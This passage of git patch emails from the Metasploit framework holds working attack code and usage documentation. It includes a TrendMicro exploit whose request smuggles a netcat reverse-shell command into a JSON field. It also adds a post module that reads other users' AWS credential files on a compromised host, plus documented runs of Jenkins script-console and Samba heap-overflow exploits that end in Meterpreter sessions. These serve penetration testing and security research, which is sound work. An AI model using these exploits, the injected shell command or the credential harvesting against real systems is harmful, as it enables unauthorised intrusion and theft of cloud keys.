} - }) - if res and res.code == 200 - j = res.get_json_document - version = j['version'].to_f - build = j['build'].to_s.split('.') - build_major = build[0].to_i(10) - build_minor = build[1].to_i(10) - build_version = build[2].to_i(10) - build_tag = build[3].to_i(10) - print_status("TrendMicro Safe Sync Server detected.") - print_status("Version: #{version}") - print_status("Build: #{j['build']}") - - if (version <= 2.1 and build_major == 3 and build_minor == 2 and build_version == 0 and build_tag < 1426) - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe - end - end - end - Exploit::CheckCode::Safe - end - - def execute_command(cmd, opts = {}) - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'PUT', - 'uri' => normalize_uri(uri, "api", "admin", "ad", "ad_sync_now"), - 'ctype' => 'application/json', - 'headers' => - { - 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/admin_ldap_integration.html", - 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", - 'Cookie' => "mgmtui_session=#{opts['mgmtui_session']}", - }, - 'data' => "{\"id\": \"1; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc #{datastore['LHOST']} #{datastore['LPORT']} >/tmp/f; ls\"}" - }, 60) - end - - def login - uri = target_uri.path - res = send_request_cgi({ - 'method' => 'PUT', - 'uri' => normalize_uri(uri, "api", "auth", "login"), - 'ctype' => 'application/json', - 'headers'=> - { - 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.html", - 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", - }, - 'data' => "{\"username\":\"#{datastore['ADMINACCOUNT']}\", \"password\":\"#{datastore['ADMINPASS']}\"}" - }) - if res and res.code == 200 and !res.get_cookies.empty? - mgmtui_session = res.get_cookies.scan(/mgmtui_session=([^;]*);/).last.first - return {"mgmtui_session" => mgmtui_session} - end - nil - end - - - def exploit - opts = login - if opts - print_status("Successfully logged in.") - print_status("Exploiting...") - execute_cmdstager(opts=opts) - else - print_error("An error occured while loggin in.") - end - end -end diff --git a/modules/exploits/linux/http/trendmicro_sps_exec.rb b/modules/exploits/linux/http/trendmicro_sps_exec.rb index 87b1c4ae31..ab9390df0e 100644 --- a/modules/exploits/linux/http/trendmicro_sps_exec.rb +++ b/modules/exploits/linux/http/trendmicro_sps_exec.rb @@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote end end end - Exploit::CheckCode::Safe + Exploit::CheckCode::Unknown end From 7dea613507302d95298e4da179ea8e63a5b7aef7 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 28 Oct 2016 14:48:55 -0700 Subject: [PATCH 053/157] Initial commit of module for snagging AWS key material from shell/meterpreter sessions --- modules/post/multi/gather/aws_keys.rb | 90 +++++++++++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 modules/post/multi/gather/aws_keys.rb diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb new file mode 100644 index 0000000000..48fd36b14a --- /dev/null +++ b/modules/post/multi/gather/aws_keys.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + AWS_KEY = 'AWS_ACCESS_KEY_ID' + AWS_SECRET = 'AWS_SECRET_ACCESS_KEY' + S3_KEY = 'access_key' + S3_SECRET = 'secret_key' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'UNIX Gather AWS Keys', + 'Description' => %q( + This module will attempt to read AWS configuration files (.aws/config, .aws//credentials and .s3cfg) + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart ' ], + 'SessionTypes' => %w(shell meterpreter) + ) + ) + end + + def get_aws_keys(config_file) + keys_data = [] + config_s = cmd_exec("test -r #{config_file} && cat #{config_file}") + return keys_data if config_s.empty? + aws_config = Rex::Parser::Ini.from_s(config_s) + aws_config.each_key do |profile| + # XXX: Ini assumes anything on either side of the = is the key and value + # including spaces, so we need to fix this + profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }] + aws_access_key_id = nil + aws_secret_access_key = nil + profile_config.each_pair do |key, value| + if key == AWS_KEY.downcase || key == S3_KEY + aws_access_key_id = value + end + + if key == AWS_SECRET.downcase || key == S3_SECRET + aws_secret_access_key = value + end + end + next unless aws_access_key_id || aws_secret_access_key + keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ] + end + + keys_data + end + + def get_keys_from_files + keys_data = [] + vprint_status("Enumerating possible user AWS config files") + # build up a list of aws configuration files to read, including the + # configuration files that may exist (rare) + enum_user_directories.map do |user_dir| + vprint_status("Looking for AWS config/credentials files in #{user_dir}") + %w(.aws/config .aws/credentials .s3cfg).each do |possible_key_file| + this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file)) + next if this_key_data.empty? + keys_data <<= this_key_data.flatten + end + end + keys_data + end + + def run + keys_data = get_keys_from_files + return if keys_data.empty? + + keys_table = Rex::Text::Table.new( + 'Header' => "AWS Key Data", + 'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ] + ) + + keys_data.each do |key_data| + keys_table << key_data + end + + print_line(keys_table.to_s) + end +end From 96c204d1ea35bf79bbb0eaf2a8e1c0925f653fed Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 28 Oct 2016 15:27:47 -0700 Subject: [PATCH 054/157] Add aws_keys docs; correct description --- .../modules/post/multi/gather/aws_keys.rb | 56 +++++++++++++++++++ modules/post/multi/gather/aws_keys.rb | 4 +- 2 files changed, 59 insertions(+), 1 deletion(-) create mode 100644 documentation/modules/post/multi/gather/aws_keys.rb diff --git a/documentation/modules/post/multi/gather/aws_keys.rb b/documentation/modules/post/multi/gather/aws_keys.rb new file mode 100644 index 0000000000..ec3cd8f105 --- /dev/null +++ b/documentation/modules/post/multi/gather/aws_keys.rb @@ -0,0 +1,56 @@ +## Vulnerable Application + + Any system with a `shell` or `meterpreter` session. + +## Verification Steps + + 1. Get a `shell` or `meterpreter` session on some host. + 2. Do: ```use post/multi/gather/aws_keys.rb``` + 3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one. + 4. Do: ```run``` + 5. If the system has readable configuration files containing AWS key material, they will be printed out. + +## Options + + None. + +## Scenarios + + ``` +msf post(aws_keys) > run + +[*] Enumerating possible user AWS config files +[*] Looking for AWS config/credentials files in /bin +[*] Looking for AWS config/credentials files in /dev +[*] Looking for AWS config/credentials files in /home/syslog +[*] Looking for AWS config/credentials files in /home/test +[*] Looking for AWS config/credentials files in /home/test ubuntu +[*] Looking for AWS config/credentials files in /home/ubuntu +[*] Looking for AWS config/credentials files in /nonexistent +[*] Looking for AWS config/credentials files in /root +[*] Looking for AWS config/credentials files in /usr/games +[*] Looking for AWS config/credentials files in /usr/sbin +[*] Looking for AWS config/credentials files in /var/backups +[*] Looking for AWS config/credentials files in /var/cache/man +[*] Looking for AWS config/credentials files in /var/cache/pollinate +[*] Looking for AWS config/credentials files in /var/lib/gnats +[*] Looking for AWS config/credentials files in /var/lib/landscape +[*] Looking for AWS config/credentials files in /var/lib/libuuid +[*] Looking for AWS config/credentials files in /var/list +[*] Looking for AWS config/credentials files in /var/mail +[*] Looking for AWS config/credentials files in /var/run/dbus +[*] Looking for AWS config/credentials files in /var/run/ircd +[*] Looking for AWS config/credentials files in /var/run/sshd +[*] Looking for AWS config/credentials files in /var/spool/lpd +[*] Looking for AWS config/credentials files in /var/spool/news +[*] Looking for AWS config/credentials files in /var/spool/uucp +[*] Looking for AWS config/credentials files in /var/www +AWS Key Data +============ + +Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile +------ ----------------- --------------------- ------- +/home/test/.aws/credentials BAR PRIVATE_TEST test +/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test +/root/.s3cfg root_key root_secret default +``` diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb index 48fd36b14a..10250d15a9 100644 --- a/modules/post/multi/gather/aws_keys.rb +++ b/modules/post/multi/gather/aws_keys.rb @@ -20,7 +20,9 @@ class MetasploitModule < Msf::Post info, 'Name' => 'UNIX Gather AWS Keys', 'Description' => %q( - This module will attempt to read AWS configuration files (.aws/config, .aws//credentials and .s3cfg) + This module will attempt to read AWS configuration files + (.aws/config, .aws//credentials and .s3cfg) for users discovered + on the session'd system and extract AWS keys from within. ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], From 74baffd463e643c66a5ba1391be2b11f5e1677fa Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 28 Oct 2016 15:31:12 -0700 Subject: [PATCH 055/157] Rename doc --- .../modules/post/multi/gather/{aws_keys.rb => aws_keys.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename documentation/modules/post/multi/gather/{aws_keys.rb => aws_keys.md} (100%) diff --git a/documentation/modules/post/multi/gather/aws_keys.rb b/documentation/modules/post/multi/gather/aws_keys.md similarity index 100% rename from documentation/modules/post/multi/gather/aws_keys.rb rename to documentation/modules/post/multi/gather/aws_keys.md From 8173e87756d4301d0023dbeca07af91c8234be90 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 28 Oct 2016 16:12:46 -0700 Subject: [PATCH 056/157] Add references --- modules/post/multi/gather/aws_keys.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb index 10250d15a9..c76815ab40 100644 --- a/modules/post/multi/gather/aws_keys.rb +++ b/modules/post/multi/gather/aws_keys.rb @@ -26,7 +26,11 @@ class MetasploitModule < Msf::Post ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], - 'SessionTypes' => %w(shell meterpreter) + 'SessionTypes' => %w(shell meterpreter), + 'References' => [ + [ 'URL', 'http://s3tools.org/kb/item14.htm' ], + [ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ] + ] ) ) end From f754adad0cc2e0e6e015c5c0f0e26d22cefdfee5 Mon Sep 17 00:00:00 2001 From: Konrads Smelkovs Date: Sat, 29 Oct 2016 11:20:32 +0100 Subject: [PATCH 057/157] Fix typo PAYLOAD_OVERWRITE vs PAYLOAD_OVERRIDE --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index bcb158874c..ab68020d4a 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -116,7 +116,7 @@ class MetasploitModule < Msf::Post vprint_status("Platform: Python [fallback]") end end - payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE'] + payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] vprint_status("Upgrade payload: #{payload_name}") if platform.blank? From 89376102db332a35f8e00ba6b2a89190db43ac60 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 29 Oct 2016 16:50:47 -0400 Subject: [PATCH 058/157] Add documentation for jenkins_script_console --- .../multi/http/jenkins_script_console.md | 66 +++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/jenkins_script_console.md diff --git a/documentation/modules/exploit/multi/http/jenkins_script_console.md b/documentation/modules/exploit/multi/http/jenkins_script_console.md new file mode 100644 index 0000000000..f0b5372bba --- /dev/null +++ b/documentation/modules/exploit/multi/http/jenkins_script_console.md @@ -0,0 +1,66 @@ +## Vulnerable Application + + Jenkins can be downloaded from [jenkins.io](https://jenkins.io/) where + binaries are available for a variety of operating systems. Both LTS and weekly + builds are available. + + Default settings have the script console enabled and require a valid user + account on order to access it. A known account can be used with this module by + setting the `USERNAME` and `PASSWORD` options. + +## Verification Steps + + Example steps in this format: + + 1. Install the application + 1. Start msfconsole + 1. Do: ```use exploit/multi/http/jenkins_script_console``` + 1. Do: ```set RHOST [target host]``` + 1. Do: ```set TARGET [target id]``` + 1. Do: ```exploit``` + 1. You should get a shell. + +## Options + + **PASSWORD** + + A password to an account that has access to the script console. This is only + necessary if the Jenkins instance has been configured to require + authentication. + + **TARGETURI** + + The path to the target instance of Jenkins. + + **USERNAME** + + A username to an account that has access to the script console. This is only + necessary if the Jenkins instance has been configured to require + authentication. + +## Scenarios + + Example usage against a Linux target server. + + ``` + msf > use exploit/multi/http/jenkins_script_console + msf exploit(jenkins_script_console) > set RHOST 192.168.1.154 + msf exploit(jenkins_script_console) > set TARGET 1 + msf exploit(jenkins_script_console) > exploit + [*] Reloading module... + + [*] Started reverse handler on 192.168.1.128:4444 + [*] Checking access to the script console + [*] No authentication required, skipping login... + [*] 192.168.1.154:8080 - Sending Linux stager... + [*] Transmitting intermediate stager for over-sized stage...(100 bytes) + [*] Sending stage (1126400 bytes) to 192.168.1.154 + [*] Meterpreter session 12 opened (192.168.1.128:4444 -> 192.168.1.154:46726) at 2013-01-20 13:37:06 +0100 + [!] Deleting /tmp/IVVrDu payload file + + meterpreter > sysinfo + Computer : ubuntu + OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686) + Architecture : i686 + Meterpreter : x86/linux + ``` From fa7cbf2c5a0d5fa496bbdc62de8078dac025fad4 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 29 Oct 2016 18:19:14 -0400 Subject: [PATCH 059/157] Fix the jenkins exploit module for new versions --- .../multi/http/jenkins_script_console.rb | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 10ca92c3c8..c7878e3356 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote def http_send_command(cmd, opts = {}) request_parameters = { 'method' => 'POST', - 'uri' => normalize_uri(@uri.path, "script"), + 'uri' => normalize_uri(@uri.path, 'script'), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), @@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote } } request_parameters['cookie'] = @cookie if @cookie != nil - request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil + request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil? res = send_request_cgi(request_parameters) if not (res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute the command.') @@ -159,8 +159,8 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(@uri.path, "j_acegi_security_check"), 'vars_post' => { - 'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'), - 'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'), + 'j_username' => datastore['USERNAME'], + 'j_password' => datastore['PASSWORD'], 'Submit' => 'log in' } }) @@ -177,9 +177,14 @@ class MetasploitModule < Msf::Exploit::Remote print_status('No authentication required, skipping login...') end - if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) - print_status("Using CSRF token: '#{$1}'") - @crumb = $1 + if res.body =~ /"\.crumb", "([a-z0-9]*)"/ + print_status("Using CSRF token: '#{$1}' (.crumb style)") + @crumb = {:name => '.crumb', :value => $1} + elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ + print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)") + @crumb = {:name => 'Jenkins-Crumb', :value => $1} + else + puts res.body end case target['Platform'] From ccce361768891008cfef40cec8ac286fda57e818 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 29 Oct 2016 18:46:51 -0400 Subject: [PATCH 060/157] Remove accidentally included debug output --- modules/exploits/multi/http/jenkins_script_console.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index c7878e3356..cad455f947 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -183,8 +183,6 @@ class MetasploitModule < Msf::Exploit::Remote elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)") @crumb = {:name => 'Jenkins-Crumb', :value => $1} - else - puts res.body end case target['Platform'] From f9041bc89a2ba1a9897df45dc151921fdd0a7667 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Sat, 29 Oct 2016 18:50:16 -0400 Subject: [PATCH 061/157] Address pull request feedback for module docs --- .../multi/http/jenkins_script_console.md | 112 ++++++++++++++---- 1 file changed, 88 insertions(+), 24 deletions(-) diff --git a/documentation/modules/exploit/multi/http/jenkins_script_console.md b/documentation/modules/exploit/multi/http/jenkins_script_console.md index f0b5372bba..e09118e7d6 100644 --- a/documentation/modules/exploit/multi/http/jenkins_script_console.md +++ b/documentation/modules/exploit/multi/http/jenkins_script_console.md @@ -5,7 +5,7 @@ builds are available. Default settings have the script console enabled and require a valid user - account on order to access it. A known account can be used with this module by + account in order to access it. A known account can be used with this module by setting the `USERNAME` and `PASSWORD` options. ## Verification Steps @@ -22,12 +22,6 @@ ## Options - **PASSWORD** - - A password to an account that has access to the script console. This is only - necessary if the Jenkins instance has been configured to require - authentication. - **TARGETURI** The path to the target instance of Jenkins. @@ -38,29 +32,99 @@ necessary if the Jenkins instance has been configured to require authentication. + **PASSWORD** + + A password to an account that has access to the script console. This is only + necessary if the Jenkins instance has been configured to require + authentication. + ## Scenarios - Example usage against a Linux target server. + Example usage against a Windows 7 SP1 x64 bit target running Jenkins 2.19.1. ``` msf > use exploit/multi/http/jenkins_script_console - msf exploit(jenkins_script_console) > set RHOST 192.168.1.154 - msf exploit(jenkins_script_console) > set TARGET 1 - msf exploit(jenkins_script_console) > exploit - [*] Reloading module... + msf exploit(jenkins_script_console) > set TARGETURI / + TARGETURI => / + msf exploit(jenkins_script_console) > set USERNAME steiner + USERNAME => steiner + msf exploit(jenkins_script_console) > set PASSWORD I<3msf! + PASSWORD => I<3msf! + msf exploit(jenkins_script_console) > set RHOST 192.168.254.126 + RHOST => 192.168.254.126 + msf exploit(jenkins_script_console) > set RPORT 8080 + RPORT => 8080 + msf exploit(jenkins_script_console) > set PAYLOAD windows/meterpreter/reverse_tcp + PAYLOAD => windows/meterpreter/reverse_tcp + msf exploit(jenkins_script_console) > set LHOST 192.168.254.132 + LHOST => 192.168.254.132 + msf exploit(jenkins_script_console) > exploit - [*] Started reverse handler on 192.168.1.128:4444 - [*] Checking access to the script console - [*] No authentication required, skipping login... - [*] 192.168.1.154:8080 - Sending Linux stager... - [*] Transmitting intermediate stager for over-sized stage...(100 bytes) - [*] Sending stage (1126400 bytes) to 192.168.1.154 - [*] Meterpreter session 12 opened (192.168.1.128:4444 -> 192.168.1.154:46726) at 2013-01-20 13:37:06 +0100 - [!] Deleting /tmp/IVVrDu payload file + [*] [2016.10.29-18:43:07] Started reverse TCP handler on 192.168.254.132:4444 + [*] [2016.10.29-18:43:07] Checking access to the script console + [*] [2016.10.29-18:43:07] Logging in... + [*] [2016.10.29-18:43:07] Using CSRF token: '9623d245b9d60b5ceda72e2d3613431c' (Jenkins-Crumb style) + [*] [2016.10.29-18:43:07] 192.168.254.126:8080 - Sending command stager... + [*] [2016.10.29-18:43:08] Command Stager progress - 2.06% done (2048/99626 bytes) + [*] [2016.10.29-18:43:08] Command Stager progress - 4.11% done (4096/99626 bytes) + [*] [2016.10.29-18:43:08] Command Stager progress - 6.17% done (6144/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 8.22% done (8192/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 10.28% done (10240/99626 bytes) + [*] [2016.10.29-18:43:09] Command Stager progress - 12.33% done (12288/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 14.39% done (14336/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 16.45% done (16384/99626 bytes) + [*] [2016.10.29-18:43:10] Command Stager progress - 18.50% done (18432/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 20.56% done (20480/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 22.61% done (22528/99626 bytes) + [*] [2016.10.29-18:43:11] Command Stager progress - 24.67% done (24576/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 26.72% done (26624/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 28.78% done (28672/99626 bytes) + [*] [2016.10.29-18:43:12] Command Stager progress - 30.84% done (30720/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 32.89% done (32768/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 34.95% done (34816/99626 bytes) + [*] [2016.10.29-18:43:13] Command Stager progress - 37.00% done (36864/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 39.06% done (38912/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 41.11% done (40960/99626 bytes) + [*] [2016.10.29-18:43:14] Command Stager progress - 43.17% done (43008/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 45.23% done (45056/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 47.28% done (47104/99626 bytes) + [*] [2016.10.29-18:43:15] Command Stager progress - 49.34% done (49152/99626 bytes) + [*] [2016.10.29-18:43:16] Command Stager progress - 51.39% done (51200/99626 bytes) + [*] [2016.10.29-18:43:16] Command Stager progress - 53.45% done (53248/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 55.50% done (55296/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 57.56% done (57344/99626 bytes) + [*] [2016.10.29-18:43:17] Command Stager progress - 59.61% done (59392/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 61.67% done (61440/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 63.73% done (63488/99626 bytes) + [*] [2016.10.29-18:43:18] Command Stager progress - 65.78% done (65536/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 67.84% done (67584/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 69.89% done (69632/99626 bytes) + [*] [2016.10.29-18:43:19] Command Stager progress - 71.95% done (71680/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 74.00% done (73728/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 76.06% done (75776/99626 bytes) + [*] [2016.10.29-18:43:20] Command Stager progress - 78.12% done (77824/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 80.17% done (79872/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 82.23% done (81920/99626 bytes) + [*] [2016.10.29-18:43:21] Command Stager progress - 84.28% done (83968/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 86.34% done (86016/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 88.39% done (88064/99626 bytes) + [*] [2016.10.29-18:43:22] Command Stager progress - 90.45% done (90112/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 92.51% done (92160/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 94.56% done (94208/99626 bytes) + [*] [2016.10.29-18:43:23] Command Stager progress - 96.62% done (96256/99626 bytes) + [*] [2016.10.29-18:43:24] Command Stager progress - 98.67% done (98304/99626 bytes) + [*] [2016.10.29-18:43:24] Sending stage (957999 bytes) to 192.168.254.126 + [*] [2016.10.29-18:43:24] Command Stager progress - 100.00% done (99626/99626 bytes) + [*] Meterpreter session 1 opened (192.168.254.132:4444 -> 192.168.254.126:49258) at 2016-10-29 18:43:26 -0400 meterpreter > sysinfo - Computer : ubuntu - OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686) - Architecture : i686 - Meterpreter : x86/linux + Computer : PWNME-PC + OS : Windows 7 (Build 7601, Service Pack 1). + Architecture : x64 (Current Process is WOW64) + System Language : en_US + Domain : WORKGROUP + Logged On Users : 2 + Meterpreter : x86/win32 + meterpreter > + ``` From 45d6012f2db5940284490dc7514eb6e33d04b8df Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Sun, 30 Oct 2016 14:57:42 -0400 Subject: [PATCH 062/157] fix check method --- modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index e3ec94f6bd..e3b5f0c40b 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote headers = res.to_s # validate headers - if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') + if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') # and make sure that the body contains the title we'd expect if res.body.include?('Login to BlackArmor') return Exploit::CheckCode::Appears From 97b7819a08a69c3f3e715cde39e6b7cdc8df48f5 Mon Sep 17 00:00:00 2001 From: Jan Mitchell Date: Mon, 31 Oct 2016 14:47:19 +0000 Subject: [PATCH 063/157] Adding documentation for lsatransnames_heap --- .../linux/samba/lsa_transnames_heap.md | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 documentation/modules/exploit/linux/samba/lsa_transnames_heap.md diff --git a/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md new file mode 100644 index 0000000000..489ee1d78e --- /dev/null +++ b/documentation/modules/exploit/linux/samba/lsa_transnames_heap.md @@ -0,0 +1,88 @@ +## Vulnerable Application + + Samba 3.0.0 through 3.0.25rc3 are vulnerable to mulitple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name(). + The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24. + +## Verification Steps + + 1. Start msfconsole + 2. Do: `use exploit/linux/samba/lsa_transnames_heap` + 3. Do: `show targets` to see the possible targets + 4. Do: `set target #` + 5. Do: `set rhost` + 6. Do: `exploit` + +## MIPS port + + This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required: + +### MIPS nop generator + + The exploit uses a heap overflow to put a large nop sled in memory to decrease the accuracy needed in the initial redirection of code flow. A nop sled is a large section of contiguous instructions which do nothing. When code flow is redirected to a nop sled it will continue executing the effectless nops. At the end of the sled the true payload is added and execution will eventually hit this code. + A nop generator module was created for MIPS by creating a stream of random instructions which create no side-effects e.g. `sll $2, $2, 0` + +### Heap address bruteforce + + The exploit uses a brute force approach to minimise problems with unpredictability in heap layout. The exploit itself is run multiple times, each time targetting a different point in the heap with the change of execution flow. If all goes correctly then the nop sled will be hit and code execution will follow. If the nop sled is missed then the Samba process is likely to crash, which is generally not a problem as a new instance is forked for each incoming connection. In the event of a crash a new heap address is chosen and exploitation is attempted again. + When porting the exploit to a new system the approximate heap layout must be known in order to suitably attempt exploitation across all of the possible heap locations. As the MIPS port targetted a specific router the heap layout was determined by examining the ranges identified in _/proc//maps_ + +## Scenarios + + msf > use exploit/linux/samba/lsa\_transnames_heap + msf exploit(lsa\_transnames_heap) > set target 7 + target => 7 + msf exploit(lsa\_transnames_heap) > set rhost 192.168.1.1 + rhost => 192.168.1.1 + msf exploit(lsa\_transnames_heap) > show options + + Module options (exploit/linux/samba/lsa\_transnames_heap): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOST 192.168.1.1 yes The target address + RPORT 445 yes The SMB service port + SMBPIPE LSARPC yes The pipe name to use + + + Exploit target: + + Id Name + -- ---- + 7 Linux Heap Brute Force (OpenWRT MIPS) + + + msf exploit(lsa\_transnames_heap) > exploit + + [*] Started reverse TCP handler on 192.168.1.3:4444 + [*] 192.168.1.1:445 - Creating nop sled.... + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55900000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x5590f000... + [*] 192.168.1.1:445 - Connecting to the SMB service... + [*] 192.168.1.1:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.1.1[\lsarpc] ... + [*] 192.168.1.1:445 - Calling the vulnerable function... + [*] 192.168.1.1:445 - Server did not respond, this is expected + + ...Some intermediate attempts ommitted... + + [*] 192.168.1.1:445 - Trying to exploit Samba with address 0x55996000... + [*] 192.168.1.1:445 - 